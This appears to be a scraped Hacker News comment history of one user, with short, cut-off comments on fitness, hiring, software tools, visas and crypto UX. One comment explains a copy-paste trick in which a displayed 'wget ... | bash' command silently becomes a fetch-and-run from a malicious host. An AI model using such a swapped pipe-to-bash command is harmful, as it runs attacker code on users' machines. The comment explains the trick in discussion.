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by koide 11y ago
A roommate had a pet tarantula. It was fun and enlightening to play with. It was a non venomous variety, of course.
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by koide 11y ago
Have you talked about this in the dev mailing list? I'm sure they would help and likely consider adding something to improve the next version.
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by koide 11y ago
I somehow doubt it will be working by 2021...
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by koide 11y ago
This analysis is a badly regurgitated copy of the free O'Reilly e-book about software architectures by Mark Richards located at http://www.oreilly.com/programming/free/software-architectur... It's a lot
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by koide 11y ago
If you want for everybody to fix things, everybody should know things, share the vision. If management is planning to do things quickly and badly, the dev lead should know that and plan accordingly, trying to do it in the best possible way.
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by koide 11y ago
Sure, but even that doesn't work when there's the right combination of being too weak and the shelf being too heavy.
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by koide 11y ago
Yesterday dropped something behind a bookshelf I had never been able to move by myself, not even when empty. Guess what? Could lift it up, picked the dropped item, found a couple more that had been lost months ago, and put it back into plac
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by koide 11y ago
There's probably a comma missing in my sentence, I meant, if starting the routine on Monday, rest day on Saturday and in Sunday go for a ride. I agree rest days should be rest days. I've paid the price of not resting a couple of t
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by koide 11y ago
What I don't get about this comment, and many others, is why do you have to choose one type or the other. I believe a varied exercise plan will be more helpful than just focusing on a single exercise type. Run one day, lift for upper b
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by koide 11y ago
Bodyweight only exercise, for example HIIT routines or abs, or even dumbbell based strength training can be done from the comfort of your own living room. I just need 4 square meters. If you need help, check out http://fitnessble
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by koide 11y ago
I love fitnessblender.com They have plenty of wonderful routines, bodyweight only or not, of low difficulty going up to 90 minutes high difficulty sweat fests.
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by koide 11y ago
And now there is this new trend about the pi-shaped person, master of two. Which is reasonable if you can manage.
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by koide 11y ago
What's really fun about that is that most people I interview, when asked "what are your salary expectations?" answer with "I'm currently at XYZ a year"
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by koide 11y ago
Nope it doesn't. A highly trained and armed soldier can easily overcome ten or more untrained but armed people
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by koide 11y ago
Can you share what the treatment is?
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by koide 11y ago
I think that your view, while true, misses the point (or doesn't make it explicit enough): tools are what really matter, languages are simply less important and ultimately interchangeable.
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by koide 11y ago
That's awfully naive. That 1/100 number includes babies, the elderly and people not able or interested in actual fighting.
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by koide 11y ago
But what has been your target audience? Grandma or fellow John J. Hacker?
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by koide 11y ago
Well, you can combine the two approaches. The text on the webpage reads wget https://example.com/script.sh | bash but when copied is actually wget https://evilpile.com/script.sh | bash; echo wget https:&#x
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by koide 11y ago
He's not saying what you read: The term is not monkey but "code monkey", a standard term to refer to how some businesses treat software devs, not how the devs themselves are. And businesses like that are everywhere, including
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by koide 11y ago
I would think that it's because ViM wants you to learn something about how the it works. If it just exited with Ctrl-C, you'd never get to know about the : magic. Not to mention Ctrl-C is ambiguous. What to do: Exit and save? Exit
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by koide 11y ago
She can't legally work, that sucks. She can do many things that are not classified as work, though. And that's the important thing, she can still make/do/think/learn and might even go as far as unofficially trading
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by koide 11y ago
I see many (most?) people block themselves into false dichotomies, in this case: "Either I can work as whatever I was trained at or I must stay at home". There are more options, always. I was not presuming to know what will work f
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by koide 11y ago
I'm sorry, but she doesn't have to spend her productive years cooking and watching TV. She can perfectly write, read, blog, or stay in India at her oracle job, among a myriad of alternatives. I'm not defending the H1B system,
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Ask HN: Why is Riak support mostly missing from Apache's big data ecosystem?
5 points by koide 11y ago|1 comments
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by koide 11y ago
Right. And that confusion is probably fueled by the existence of smart (invalid html swallowing) parsers mainly used in scraping, like beautiful soup and nokogiri.
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by koide 11y ago
Most (all?) common languages use extended variety regex engines. It is really weird seeing smart people talking about this issue in the no regex works camp. I think it's probably because they haven't had to grab a few specific dat
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by koide 11y ago
And why is that number a corporate secret?
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by koide 11y ago
Heh, this morning I was thinking about this in the shower, don't know why. The worst for me was the part in the sewer, where you had to write "look at shit". I only knew the word's pronunciation. Spent days on the combin
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by koide 11y ago
No, they should outsource their UX work to someone else. They know their crypto requires good entropy. GPG should timeout or give a warning/option to shoot yourself in the foot in case you wanted to. But that's UX, not crypto.

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